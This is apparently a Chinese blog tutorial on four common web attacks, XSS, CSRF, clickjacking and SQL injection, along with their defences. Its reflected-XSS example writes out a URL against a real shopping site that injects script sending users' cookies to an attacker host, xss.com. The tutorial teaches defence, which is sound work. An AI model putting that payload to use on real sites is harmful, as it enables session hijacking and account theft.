Web安全的三个攻防姿势

我们最常见的Web安全攻击有以下几种

• 1.XSS 跨站脚本攻击

• 2.CSRF 跨站请求伪造

• 3.clickjacking 点击劫持/UI-覆盖攻击

• 4.SQL注入

XSS跨站脚本攻击（Cross Site Scripting）

恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。

分类

• 1.Reflected XSS（基于反射的XSS攻击）

• 2.Stored XSS（基于存储的XSS攻击）

• 3.DOM-based or local XSS（基于DOM或本地的XSS攻击）

Reflected XSS（基于反射的XSS攻击）

主要通过利用系统反馈行为漏洞，并欺骗用户主动触发，从而发起Web攻击。在用户输入的地方，输入一些恶意的脚本，通常是textarea，然后通过某种方式立即执行，然后获取到一些想要得到的信息，比如cookie等，然后发送到自己的服务器。

栗子一：

1- 假设，在严选网站搜索商品，当搜索不到时站点会做“xxx未上架提示”。如下图。

2- 在搜索框搜索内容，填入“”, 点击搜索。

3- 当前端页面没有对填入的数据进行过滤，直接显示在页面上， 这时就会alert那个字符串出来。

4- 进而可以构造获取用户cookies的地址，通过QQ群或者垃圾邮件，来让其他人点击这个地址：
http://you.163.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

5- 如果受骗的用户刚好已经登录过严选网站，那么，用户的登录cookie信息就已经发到了攻击者的服务器（xss.com）了。当然，攻击者会做一些更过分的操作。

Stored XSS（基于存储的XSS攻击）

Stored XSS和Reflected XSS的差别就在于，具有攻击性的脚本被保存到了服务器并且可以被普通用户完整的从服务的取得并执行，从而获得了在网络上传播的能力。

栗子二：

1- 发一篇文章，里面包含了恶意脚本

你好！当你看到这段文字时，你的信息已经不安全了！<script>alert('xss')</script>

2- 后端没有对文章进行过滤，直接保存文章内容到数据库。

3- 当其他读者看这篇文章的时候，包含的恶意脚本就会执行。

文章是保存整个HTML内容的，前端显示时候也不做过滤，就极可能出现这种情况。此问题多存在于博客网站。如果我们的操作不仅仅是弹出一个信息，而且删除一篇文章，发一篇反动的文章，或者成为我的粉丝并且将这篇带有恶意脚本的文章转发，这样是不是就具有了攻击性。

DOM-based or local XSS（基于DOM或本地的XSS攻击）

DOM型XSS其实是一种特殊类型的反射型XSS（也是在用户输入的地方输入一些脚本），它是基于DOM文档对象模型的一种漏洞。可以通过DOM来动态修改页面内容，从客户端获取DOM中的数据并在本地执行。

xss攻击基本是在用户输入的地方输入一些恶意脚本，已达到以下的目的：

• 1.获取cookie等一些重要的信息
• 2.插入一些js或者css修改和破坏页面结构
• 3.执行某段js，使页面跳转到其他页面

解决方案：
①：前端后端在显示数据和存储数据的时候，对标签进行转义过滤，比如将<script>的两边括号就行转化<&gt等。
②：后端接收请求时，验证请求是否含有攻击请求，并对攻击请求进行截取屏蔽。

其实现在大多成熟的web框架，还有浏览器如Chrome，自带了XSS过滤器（CSP）。CSP 的实质就是白名单制度，开发者明确告诉客户端，哪些外部资源可以加载和执行，等同于提供白名单。它的实现和执行全部由浏览器完成，开发者只需提供配置。

CSRF 跨站请求伪造（Cross-site request forgery）

它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。攻击者盗用了用户的身份，以用户的名义发送恶意请求。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账......造成的问题包括：个人隐私泄露以及财产安全。

CSRF的原理

• 1.当用户访问一个安全的网站A，A返回给客户端一个正确的cookie，
• 2.用户在没有登出A的网站情况下，访问B危险网站，
• 3.B要求访问第三方站点，通过用户向安全的网站A发出一个不合理的危害请求，
• 4.由于请求带着cookie，A不知道这是危险网站发出的，以为是用户正常发出的，导致危害。

防御 CSRF 的几种策略

1. 验证 HTTP Referer 字段

利用HTTP头中的Referer判断请求来源是否合法。

优点：简单易行，只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统，不需要改变当前系统的任何已有代码和逻辑，没有风险，非常便捷。

缺点：
1、Referer 的值是由浏览器提供的，不可全信，低版本浏览器下Referer存在伪造风险。
2、用户自己可以设置浏览器使其在发送请求时不再提供 Referer时，网站将拒绝合法用户的访问。

2.在请求中添加 token 并验证

在请求中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中，以HTTP请求参数的形式加入一个随机产生的 token交由服务端验证

优点：比检查 Referer 要安全一些，并且不涉及用户隐私。
缺点：对所有请求都添加token比较困难，难以保证 token 本身的安全，依然会被利用获取到token

3. 人机交互，例如短信验证码、界面的滑块

点击劫持

点击劫持，英文名clickjacking，也叫UI覆盖攻击，攻击者会利用一个或多个透明或不透明的层来诱骗用户实施点击按钮的操作，而实际的点击确是用户看不到的一个按钮，从而达到在用户不知情的情况下实施攻击。

这种攻击方式的关键在于可以实现页中页的标签，并且可以使用css样式表将它隐藏

点击劫持原理

如以上示意图的蓝色层，攻击者会通过一定的手段诱惑用户“在红色层”输入信息，但用户实际上实在蓝色层中，以此做欺骗行为。

这种方法最常见的攻击场景是伪造一些网站盗取帐号信息，如支付宝、QQ、网易帐号等帐号的账密

点击劫持防御

1. X-FRAME-OPTIONS
X-FRAME-OPTIONS是微软提出的一个http头，指示浏览器不允许从其他域进行取景，专门用来防御利用iframe嵌套的点击劫持攻击。并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
这个头有三个值：
DENY // 拒绝任何域加载
SAMEORIGIN // 允许同源域下加载
ALLOW-FROM // 可以定义允许frame加载的页面地址

2. 顶层判断
在UI中采用防御性代码，以确保当前帧是最顶层的窗口
方法有多种，如：
top != self || top.location != self.location || top.location != location

SQL注入

SQL注入是属于注入式攻击，通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中，再在后台 Sql 服务器上解析执行进行的攻击，是目前对数据库进行攻击的最常用手段之一。

典型的例子就是当对SQL语句进行字符串拼接的时候，直接使用未转义的用户输入内容作为变量。这时，只要在sql语句的中间做修改，比如加上drop、delete等关键字，执行之后后果不堪设想。

SQL注入的防御：

1、过滤用户输入参数中的特殊字符，降低风险。

2、禁止通过字符串拼接sql语句，要严格使用参数绑定来传入参数。

3、合理使用数据库框架提供的机制。就比如Mybatis提供的传入参数的方式 #{}，禁止使用${}，后者相当于是字符串拼接sql，要使用参数化的语句。

参考

https://segmentfault.com/a/1190000011601837
https://www.cnblogs.com/lovesong/p/5233195.html
https://segmentfault.com/a/1190000018998971